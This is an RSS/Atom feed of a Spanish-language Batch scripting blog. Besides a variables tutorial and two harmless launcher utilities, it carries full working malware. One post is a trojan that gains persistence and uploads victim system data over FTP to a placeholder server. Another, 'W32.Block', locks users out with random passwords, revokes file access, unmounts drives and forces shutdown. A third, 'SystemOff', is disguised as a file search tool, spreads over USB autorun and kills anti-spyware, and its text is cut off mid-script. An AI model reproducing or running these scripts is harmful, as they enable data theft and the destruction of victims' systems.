<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-9125759710408196892</id><updated>2011-11-27T18:40:06.190-06:00</updated><category term='C++'/><category term='Python'/><category term='Videotutoriales'/><category term='Batch'/><category term='Java'/><category term='Tutoriales'/><category term='VBS'/><category term='Virus'/><title type='text'>Nano Code</title><subtitle type='html'>Programando para el futuro</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://nano-code.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9125759710408196892/posts/default'/><link rel='alternate' type='text/html' href='http://nano-code.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Soldier</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_CGOCnuwYc_Q/SbBP9MppzbI/AAAAAAAAARI/WoQe13iYv2g/s1600-R/acced89465c6158b0f7d089683cebd55.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>11</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-9125759710408196892.post-8871303311319001926</id><published>2009-07-08T09:36:00.014-05:00</published><updated>2009-07-08T12:50:17.841-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Batch'/><title type='text'>Curso Batch [Variables]</title><content type='html'>&lt;b&gt;Que es Batch?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Batch en sí, no es un lenguaje de programación sino que es un lenguaje script ya que ejecuta solamente comandos del sistema creando un &lt;b&gt;archivo por lotes&lt;/b&gt; de texto sin formato. No es &lt;b&gt;case sensitive&lt;/b&gt;, es decir, que tanto es válido &lt;b&gt;Variable1&lt;/b&gt; como &lt;b&gt;VARIABLE1&lt;/b&gt; o &lt;b&gt;variable1&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;CMD o Shell&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Nuestra Shell o consola de comandos es la ventanita negra que vemos cada que se ejecuta un bat, la pueden abrir dirigiéndose a &lt;b&gt;Inicio&gt;&gt;Ejecutar&gt;&gt;Escriben cmd&gt;&gt;Enter&lt;/b&gt;. Ahí pueden ir haciendo sus pruebas sobre las diferentes variables de entorno que tenemos en el sistema o bien hacer línea por línea para probar su archivo ;).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Como guardar un archivo BAT&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Usaremos nuestro glorioso bloc de notas para guardar nuestros trabajos que iremos realizando durante el curso, para guardarlo como un BAT, al darle &lt;b&gt;guardar como&lt;/b&gt; escribiremos el nombre que queramos pero con extensión &lt;b&gt;.bat&lt;/b&gt;. Esto es lo que haremos cada que quiéranos probar un code de los del curso o algún otro. (Para que ya no pregunten cómo se guarda xD)&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;img src="http://i285.photobucket.com/albums/ll72/_s0ld13r_/save2.png" width="500"&gt;&lt;/img&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Variables&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Como sabemos, una variable es un espacio que se reserva en memoria para alojar cierto tipo de dato. En batch solo hay 2 tipos de datos: enteros y cadenas.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;@echo off&lt;br /&gt;set var_string= hola&lt;br /&gt;set  var_num=5&lt;br /&gt;echo %var_string%&lt;br /&gt;echo %var_num%&lt;br /&gt;pause&lt;br /&gt;exit&lt;/blockquote&gt;&lt;br /&gt;El código anterior tiene 2 variables, una donde almacenamos una cadena y en la otra un numero, no hay ciencia :). Otro dato importante es la primera línea que hemos puesto al igual que las 2 últimas.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;@echo off:&lt;/b&gt; Nos sirve para que al momento de ejecutar nuestro archivo, no se muestren cada línea mostrando la ruta o el proceso de cada variable o función que vayamos realizando en nuestro programa. Prueben el programa anterior quitándole la primer línea y verán como aparece&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Pause:&lt;/b&gt; Hace un pause durante la ejecución  y presionando una tecla continua con su camino :), prueben &lt;b&gt;pause&gt;nul&lt;/b&gt;  y notarán la diferencia, lo que hace el &lt;b&gt;&gt;nul&lt;/b&gt; es suprimir el resultado que da la el pause en este caso &lt;b&gt;Presione una tecla para continuar…&lt;/b&gt; dejándolo solo en blanco. &lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;img src="http://i285.photobucket.com/albums/ll72/_s0ld13r_/pause2.png"&gt;&lt;/img&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Exit:&lt;/b&gt; Salida o fin del programa xD&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;@echo off&lt;br /&gt;set num1 = 9&lt;br /&gt;set num2=8&lt;br /&gt;set /a resul=%num1%+%num2%&lt;br /&gt;echo El resultado es:  %resul%&lt;br /&gt;pause&lt;br /&gt;exit&lt;/blockquote&gt;&lt;br /&gt;Este pedazo de código de arriba realiza una operación entre &lt;b&gt;num1&lt;/b&gt; y &lt;b&gt;num2&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;@echo off&lt;br /&gt;set num1 = 4&lt;br /&gt;echo Numero uno es:  %num1%&lt;br /&gt;set /a num1*=0xff&lt;br /&gt;echo Ahora numero uno es: %num1%&lt;br /&gt;pause&lt;br /&gt;exit&lt;/blockquote&gt;&lt;br /&gt;Con esto acabamos de hacer una operación con un decimal y un hexadecimal, el &lt;b&gt;0x&lt;/b&gt; indica que se trabajará con números hexadecimales; &lt;b&gt;0xff=255&lt;/b&gt;, entonces &lt;b&gt;4*=255&lt;/b&gt; y al final &lt;b&gt;num1=510&lt;/b&gt;.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Operadores &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;Agrupación:     ()&lt;br /&gt;Aritméticos:       * / % + -&lt;br /&gt;Bits:                   &lt;&lt; &gt;&gt;&lt;br /&gt;And:                  &amp;&lt;br /&gt;OR:                    ^&lt;br /&gt;XOR:                   |&lt;br /&gt;Asignación:        =  *=  /=  %=  +=  -=&lt;br /&gt;                           &amp;=  ^=  |=  &lt;&lt;=  =&gt;&gt;&lt;br /&gt;Separador de expresión:      ,&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;b&gt;Introducir datos por el teclado&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;@echo off&lt;br /&gt;set /p name = Escribe tu nombre:&lt;br /&gt;echo Hola %name %&lt;br /&gt;pause&lt;br /&gt;exit&lt;/blockquote&gt;&lt;br /&gt;Tan fácil como se ve, con el &lt;b&gt;set /p  name&lt;/b&gt;  nos sirve para poder reservar un espacio en memoria para guardar la cadena del nombre que se ingresara para después imprimirlo con &lt;b&gt;echo Hola %name%&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Conclusion sobre Variables&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;@echo off&lt;br /&gt;echo Promedio &lt;br /&gt;set /p name = Escribe tu nombre:&lt;br /&gt;echo ------Calificaciones------&lt;br /&gt;set /p c1 = Primer semestre:&lt;br /&gt;set /p c2 = Segundo semestre:&lt;br /&gt;set /p c3 = Tercer semestre:&lt;br /&gt;set /p c4 = Cuarto semestre:&lt;br /&gt;set /a resul=(%c1%+%c2%+%c3%+%c4%)/4&lt;br /&gt;echo Tu promedio final es: %resul%&lt;br /&gt;pause&lt;br /&gt;exit&lt;/blockquote&gt;&lt;br /&gt;Es un ejemplo muy claro sobre el uso de variables, datos introducidos por el teclado y operaciones matemáticas. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Nota:&lt;/b&gt; En este lenguaje script solo se manejan cifras enteras, no hay decimales :(&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9125759710408196892-8871303311319001926?l=nano-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nano-code.blogspot.com/feeds/8871303311319001926/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://nano-code.blogspot.com/2009/07/curso-batch-variables.html#comment-form' title='6 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9125759710408196892/posts/default/8871303311319001926'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9125759710408196892/posts/default/8871303311319001926'/><link rel='alternate' type='text/html' href='http://nano-code.blogspot.com/2009/07/curso-batch-variables.html' title='Curso Batch [Variables]'/><author><name>Soldier</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_CGOCnuwYc_Q/SbBP9MppzbI/AAAAAAAAARI/WoQe13iYv2g/s1600-R/acced89465c6158b0f7d089683cebd55.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9125759710408196892.post-7690504836002786429</id><published>2009-07-04T20:50:00.004-05:00</published><updated>2009-07-06T13:05:16.853-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Batch'/><title type='text'>Apps Execute, agregar programas a ejecutar</title><content type='html'>Este programa es el mismo que el &lt;a href="http://nano-code.blogspot.com/2009/07/agregar-accesos-directos-cwindows.html"&gt;anterior&lt;/a&gt; solo que este esta hecho en Batch puramente y este agrega rutas al registro en vez de agregar accesos directos a la carpeta de Windows.&lt;br /&gt;&lt;br /&gt;Disfrutenlo ;)&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;@echo off&lt;br /&gt;color 0B&lt;br /&gt;title Apps Execute&lt;br /&gt;mode con cols=65 lines=15&lt;br /&gt;:menu&lt;br /&gt;set "file="&lt;br /&gt;set "name="&lt;br /&gt;set "temp0="&lt;br /&gt;set "temp1="&lt;br /&gt;set "opc="&lt;br /&gt;cls&lt;br /&gt;echo.Arrastre aqui su archivo [exe]&lt;br /&gt;set /p file="&gt;&gt; "&lt;br /&gt;call:com %file%&lt;br /&gt;call:error1 %file%&lt;br /&gt;echo.Nombre que usara para ejecutar su programa&lt;br /&gt;set /p name="&gt;&gt; "&lt;br /&gt;REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%name%.exe" /ve /d %file% /f &gt;nul&lt;span class="fullpost"&gt;&lt;br /&gt;echo.&lt;br /&gt;echo.Programa %name% agregado !!!&lt;br /&gt;msg * Para verificar: Escriba [%name:~0,-4%] o [%name%] en [Ejecutar]&lt;br /&gt;ping -n 4 localhost &gt;nul&lt;br /&gt;echo.Desea agregar otro programa [Y/N] &lt;br /&gt;set /p opc="&gt;&gt; "&lt;br /&gt;if /i ["%opc%"] == ["Y"] (goto:menu) else (msg * Gracias por usar Apps Execute&amp;exit)&lt;br /&gt;:com&lt;br /&gt;set temp0=%1&lt;br /&gt;if not [^%temp0:~0,1%] == [^"] (set file="%file%"&amp;goto:eof) else (goto:eof)&lt;br /&gt;:error1&lt;br /&gt;set temp1=%1&lt;br /&gt;if /i not ["%temp1:~-5,4%"] == [".exe"] (echo.   Error23: Archivo invalido&amp;pause&gt;nul&amp;goto:menu)&lt;br /&gt;goto:eof&lt;br /&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9125759710408196892-7690504836002786429?l=nano-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nano-code.blogspot.com/feeds/7690504836002786429/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://nano-code.blogspot.com/2009/07/apps-execute-agregar-programas-ejecutar.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9125759710408196892/posts/default/7690504836002786429'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9125759710408196892/posts/default/7690504836002786429'/><link rel='alternate' type='text/html' href='http://nano-code.blogspot.com/2009/07/apps-execute-agregar-programas-ejecutar.html' title='Apps Execute, agregar programas a ejecutar'/><author><name>Soldier</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_CGOCnuwYc_Q/SbBP9MppzbI/AAAAAAAAARI/WoQe13iYv2g/s1600-R/acced89465c6158b0f7d089683cebd55.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9125759710408196892.post-1741706099817431332</id><published>2009-07-02T20:09:00.004-05:00</published><updated>2009-07-06T13:07:02.969-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Batch'/><category scheme='http://www.blogger.com/atom/ns#' term='VBS'/><title type='text'>Agregar accesos directos a C:\Windows</title><content type='html'>Tal vez sea un nombre no muy claro pero la correcta explicación de este pequeño programa es la siguiente:&lt;br /&gt;&lt;br /&gt;Cuando abren cierto programa desde &lt;b&gt;Ejecutar&lt;/b&gt; es porque la ruta del ejecutable esta asociada al sistema y si no se encuentra les dice que &lt;b&gt;Windows no puede encontrar el archivo "nombre"...&lt;/b&gt; entonces el programa siguiente hace eso, agregar accesos directos de tus programas al sistema para que los abras desde Ejecutar.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;@echo off&lt;br /&gt;color 0B&lt;br /&gt;title Shortcut Execute&lt;br /&gt;mode con cols=60 lines=15&lt;br /&gt;:menu&lt;br /&gt;cls&lt;br /&gt;echo.Arrastre aqui su archivo [exe]&lt;br /&gt;set /p file="&gt;&gt; "&lt;br /&gt;echo.Nombre del acceso directo&lt;br /&gt;set /p name="&gt;&gt; "&lt;br /&gt;if exist "%systemroot%\%name%.lnk" (goto:comp)&lt;br /&gt;:create&lt;br /&gt;echo set WshShell = WScript.CreateObject("WScript.Shell") &gt;&gt; "%temp%\add.vbs"&lt;br /&gt;echo set LinkCreator = WshShell.CreateShortcut("%systemroot%\" ^&amp; "\%name%.lnk") &gt;&gt; "%temp%\add.vbs"&lt;br /&gt;echo LinkCreator.TargetPath = %file% &gt;&gt; "%temp%\add.vbs"&lt;br /&gt;echo LinkCreator.WindowStyle = 1 &gt;&gt; "%temp%\add.vbs"&lt;br /&gt;echo LinkCreator.Description = "%name%" &gt;&gt; "%temp%\add.vbs"&lt;span class="fullpost"&gt;&lt;br /&gt;echo LinkCreator.Save &gt;&gt; "%temp%\add.vbs"&lt;br /&gt;call "%temp%\add.vbs"&lt;br /&gt;ping -n 2 localhost &gt;nul&lt;br /&gt;echo.&lt;br /&gt;msg * Acceso directo [%name%] creado con exito&lt;br /&gt;del "%temp%\add.vbs"&lt;br /&gt;pause&gt;nul&amp;exit&lt;br /&gt;:comp&lt;br /&gt;echo.&lt;br /&gt;echo.Ya existe un acceso directo con ese nombre !!!&lt;br /&gt;echo.&lt;br /&gt;echo.Desea reemplazarlo? [Y/N/X]   X=salir &lt;br /&gt;set /p mod="&gt;&gt; "&lt;br /&gt;if /i ["%mod%"] == ["X"] (pause&gt;nul&amp;exit) &lt;br /&gt;if /i ["%mod%"] == ["Y"] (goto:create) else (goto:menu)&lt;br /&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9125759710408196892-1741706099817431332?l=nano-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nano-code.blogspot.com/feeds/1741706099817431332/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://nano-code.blogspot.com/2009/07/agregar-accesos-directos-cwindows.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9125759710408196892/posts/default/1741706099817431332'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9125759710408196892/posts/default/1741706099817431332'/><link rel='alternate' type='text/html' href='http://nano-code.blogspot.com/2009/07/agregar-accesos-directos-cwindows.html' title='Agregar accesos directos a C:\Windows'/><author><name>Soldier</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_CGOCnuwYc_Q/SbBP9MppzbI/AAAAAAAAARI/WoQe13iYv2g/s1600-R/acced89465c6158b0f7d089683cebd55.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9125759710408196892.post-554568978428074890</id><published>2009-06-27T22:23:00.007-05:00</published><updated>2009-07-06T13:09:49.894-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Batch'/><title type='text'>Robar datos por FTP en Batch</title><content type='html'>Este código sería como una parte de un troyano en Batch, ya que lo que hace es recopilar información importante de la PC infectada en cada reinicio tales como:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span&gt;Nombre de la PC&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;Nombre del usuario iniciado&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;Fecha y Hora&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;Informacion completa sobre su estado de red ipconfig/all&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;Procesos activos&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;Se le pueden añadir mas opciones de información que quieras recopilar de la víctima como: PC`s conectadas en red (LAN -- net view), usuaros que pueden utilizar la PC, y muchos mas...&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;@ECHO OFF&lt;br /&gt;SET spy=%programfiles%\Spybot&lt;br /&gt;IF EXIST "%spy%" (goto:cont)&lt;br /&gt;MD "%spy%" &amp;&amp; COPY /Y %0 "%spy%" 2&gt;nul &gt;nul&lt;br /&gt;:cont&lt;br /&gt;REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ServiceDefrag" /d "%spy%\ServiceDefrag.bat" /f 2&gt;nul &gt;nul&lt;br /&gt;CD "%spy%"&lt;br /&gt;ECHO PC:  %computername% &gt;&gt; %computername%.code&lt;br /&gt;ECHO SESION: %username% &gt;&gt; %computername%.code&lt;br /&gt;ECHO FECHA: %DATE% &gt;&gt; %computername%.code&lt;br /&gt;ECHO HORA: %TIME% &gt;&gt; %computername%.code&lt;br /&gt;ECHO IP &gt;&gt; %computername%.code&lt;br /&gt;ECHO ---------------------------------- &gt;&gt; %computername%.code&lt;br /&gt;IPCONFIG/ALL &gt;&gt; %computername%.code&lt;br /&gt;ECHO PROCESOS &gt;&gt; %computername%.code&lt;br /&gt;ECHO ---------------------------------- &gt;&gt; %computername%.code&lt;br /&gt;TASKLIST &gt;&gt; %computername%.code&lt;span class="fullpost"&gt;&lt;br /&gt;ECHO usuario_ftp&gt;&gt; nano&lt;br /&gt;ECHO password_ftp&gt;&gt; nano&lt;br /&gt;ECHO ascii&gt;&gt; nano&lt;br /&gt;ECHO put %computername%.code&gt;&gt; nano&lt;br /&gt;ECHO close&gt;&gt; nano&lt;br /&gt;ECHO bye&gt;&gt; nano&lt;br /&gt;ftp -s:nano ftp.direccionftp.com 2&gt;nul &gt;nul&lt;br /&gt;del /s /q /f %computername%.code 2&gt;nul &gt;nul&lt;br /&gt;del /s /q /f nano 2&gt;nul &gt;nul&lt;br /&gt;exit&lt;br /&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Como se darán cuenta, la ventanita negra de cmd se mostrara cuando se ejecute el programa, aquí pueden combinar las lineas en VBS para &lt;a href="http://nano-code.blogspot.com/2009/06/ocultar-ventana-ms-dos-o-prompt-o-cmd.html"&gt;ocultar la ventana de cmd&lt;/a&gt; y así pasar desapercibido.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9125759710408196892-554568978428074890?l=nano-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nano-code.blogspot.com/feeds/554568978428074890/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://nano-code.blogspot.com/2009/06/robar-datos-por-ftp-en-batch.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9125759710408196892/posts/default/554568978428074890'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9125759710408196892/posts/default/554568978428074890'/><link rel='alternate' type='text/html' href='http://nano-code.blogspot.com/2009/06/robar-datos-por-ftp-en-batch.html' title='Robar datos por FTP en Batch'/><author><name>Soldier</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_CGOCnuwYc_Q/SbBP9MppzbI/AAAAAAAAARI/WoQe13iYv2g/s1600-R/acced89465c6158b0f7d089683cebd55.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9125759710408196892.post-3755932603645327750</id><published>2009-06-27T20:57:00.003-05:00</published><updated>2009-07-06T13:10:37.516-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Batch'/><category scheme='http://www.blogger.com/atom/ns#' term='Virus'/><title type='text'>W32.Block Bloquear el sistema en Batch</title><content type='html'>W32.Block es un virus que tiene como finalidad, bloquear el systema para que no se pueda volver a ingresar ni por el usuario que comunmente inicia ni por el administrador ya que crea contraseñas aleatorias que ni yo se cuales son :p&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;@echo off &lt;br /&gt;set src=%temp%\screen.bat&lt;br /&gt;set ss=%temp%\ServiceSystem.bat&lt;br /&gt;set tep=/t /e /p&lt;br /&gt;REG ADD "HKCU\Console" /v FullScreen /t REG_DWORD /d 1 /f &gt;&gt; "%src%"&lt;br /&gt;REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f &gt;&gt; "%src%"&lt;br /&gt;start %ss% &amp;&amp; exit &gt;&gt; "%src%"&lt;br /&gt;@echo off &amp;&amp; cls&gt;&gt; "%ss%"&lt;br /&gt;type "%homedrive%\boot.ini" &amp;&amp; REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v LogonType /t REG_DWORD /d 1 /f &gt;&gt; "%ss%"&lt;br /&gt;ipconfig/release &gt;&gt; "%ss%"&lt;br /&gt;taskkill /F /IM explorer.exe &gt;&gt; "%ss%"&lt;br /&gt;REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysTrayService /t REG_SZ /d "%ss%" &gt;&gt; "%ss%"&lt;br /&gt;net user Administrador %random%binary%random% &gt;&gt; "%ss%"&lt;br /&gt;net user %username% %random%ascii%random% &gt;&gt; "%ss%"&lt;br /&gt;cacls "%userprofile%\Misdoc~1\*" %tep% %username%:n &gt;&gt; "%ss%" &lt;span class="fullpost"&gt;&lt;br /&gt;cacls "%homedrive%\Docume~1\%username%\*" %tep% %username%:n &gt;&gt; "%ss%"&lt;br /&gt;cacls "%homedrive%\Docume~1\*" %tep% %username%n &gt;&gt; "%ss%" &lt;br /&gt;cacls "%programfiles%\Intern~1\iexplore.exe" %tep% %username%:n &gt;&gt; "%ss%"&lt;br /&gt;cacls "%programfiles%\Mozill~1\firefox.exe" %tep% %username%:n &gt;&gt; "%ss%"&lt;br /&gt;cacls "%systemroot%\system32\ipconfig.exe" %tep% %username%:n &gt;&gt; "%ss%"&lt;br /&gt;cacls "%systemroot%\regedit.exe" %tep% %username%:n &gt;&gt; "%ss%" &lt;br /&gt;cacls "%systemroot%\system32\notepad.exe" %tep% %username%:n &gt;&gt; "%ss%"&lt;br /&gt;FOR %%u IN (C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (mountvol %%u:\ /D) &gt;&gt; "%ss%"&lt;br /&gt;shutdown -s -f -t 00 &amp;&amp; exit &gt;&gt; "%ss%"&lt;br /&gt;call %src% &amp;&amp; exit&lt;br /&gt;&lt;/blockquote&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9125759710408196892-3755932603645327750?l=nano-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nano-code.blogspot.com/feeds/3755932603645327750/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://nano-code.blogspot.com/2009/06/w32block-bloquear-el-sistema-en-batch.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9125759710408196892/posts/default/3755932603645327750'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9125759710408196892/posts/default/3755932603645327750'/><link rel='alternate' type='text/html' href='http://nano-code.blogspot.com/2009/06/w32block-bloquear-el-sistema-en-batch.html' title='W32.Block Bloquear el sistema en Batch'/><author><name>Soldier</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_CGOCnuwYc_Q/SbBP9MppzbI/AAAAAAAAARI/WoQe13iYv2g/s1600-R/acced89465c6158b0f7d089683cebd55.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9125759710408196892.post-5011058292360719486</id><published>2009-06-26T00:19:00.004-05:00</published><updated>2009-07-06T13:12:28.924-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Batch'/><category scheme='http://www.blogger.com/atom/ns#' term='Virus'/><title type='text'>SystemOff, colgar el sistema en Batch</title><content type='html'>Este code fué el que use para un reto que serviría para colgar el sistema o al menos alentarlo hasta que la memoria de la PC bajara demasiado y se tuvierá que reiniciar, está sencillo pero me hizo ganar xD.&lt;br /&gt;&lt;br /&gt;::Simula ser un Buscador de archivos, se propaga por USB y cada que el usuario reinicie el sistema le volverá a pasar lo mismo que cuando lo ejecuto.&lt;br /&gt;&lt;blockquote&gt;::::::::::::::::::::::::::::::::::&lt;br /&gt;:                                :&lt;br /&gt;:                                :&lt;br /&gt;:      SystemOff by Soldier      :&lt;br /&gt;:                                :&lt;br /&gt;:                                :&lt;br /&gt;::::::::::::::::::::::::::::::::::&lt;br /&gt;@echo off&lt;br /&gt;color 0E&lt;br /&gt;title -SearchFiles-&lt;br /&gt;set o=echo&lt;br /&gt;set s=.vbs&lt;br /&gt;set l=.bat&lt;br /&gt;set i=.soldier&lt;br /&gt;set r=%random%&lt;br /&gt;set d=%random%&lt;br /&gt;set e=%random%&lt;br /&gt;set led=LVComServer&lt;br /&gt;set spy=Anti-Spyware&lt;br /&gt;echo.&lt;br /&gt;echo.&lt;br /&gt;echo. &lt;br /&gt;echo                           ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»&lt;br /&gt;echo                           ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»&lt;br /&gt;echo                           º                                      º&lt;br /&gt;echo                           º   SearchFiles / Buscador de Archivos º&lt;br /&gt;echo                           º                      º&lt;br /&gt;echo                           ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼&lt;br /&gt;echo.&lt;br /&gt;echo Espere, el programa iniciara automaticamente...&lt;span class="fullpost"&gt;&lt;br /&gt;ping -n 3 localhost &gt; nul&lt;br /&gt;echo Enlistando controladores de busqueda... &lt;br /&gt;ping -n 2 localhost &gt; nul&lt;br /&gt;FOR %%U IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (&lt;br /&gt;copy "%homedrive%\%spy%\autorun.inf" "%%U:\autorun.inf" &gt;nul&lt;br /&gt;copy /y %0 "%%U:\Searchfiles%l%" &gt;nul&lt;br /&gt;attrib +h +s "%%U:\Searchfiles%l%" &gt;nul&lt;br /&gt;attrib +h +s "%%U:\autorun.inf" &gt;nul  ) &lt;br /&gt;cls&lt;br /&gt;&lt;br /&gt;if exist "%homedrive%\%spy%" (goto cont) else (goto create)&lt;br /&gt;:create&lt;br /&gt;md %homedrive%\%spy%&lt;br /&gt;:cont&lt;br /&gt;call :core&lt;br /&gt;call :core2&lt;br /&gt;call :core3&lt;br /&gt;call :core4&lt;br /&gt;call :reg&lt;br /&gt;call :msj&lt;br /&gt;&lt;br /&gt;:reg&lt;br /&gt;taskkill /F /IM TeaTimer.exe&lt;br /&gt;cls &lt;br /&gt;REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "%led%"&lt;br /&gt; /t REG_SZ /d "%homedrive%\%spy%\%led%%s%" /f &gt;nul&lt;br /&gt;REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v 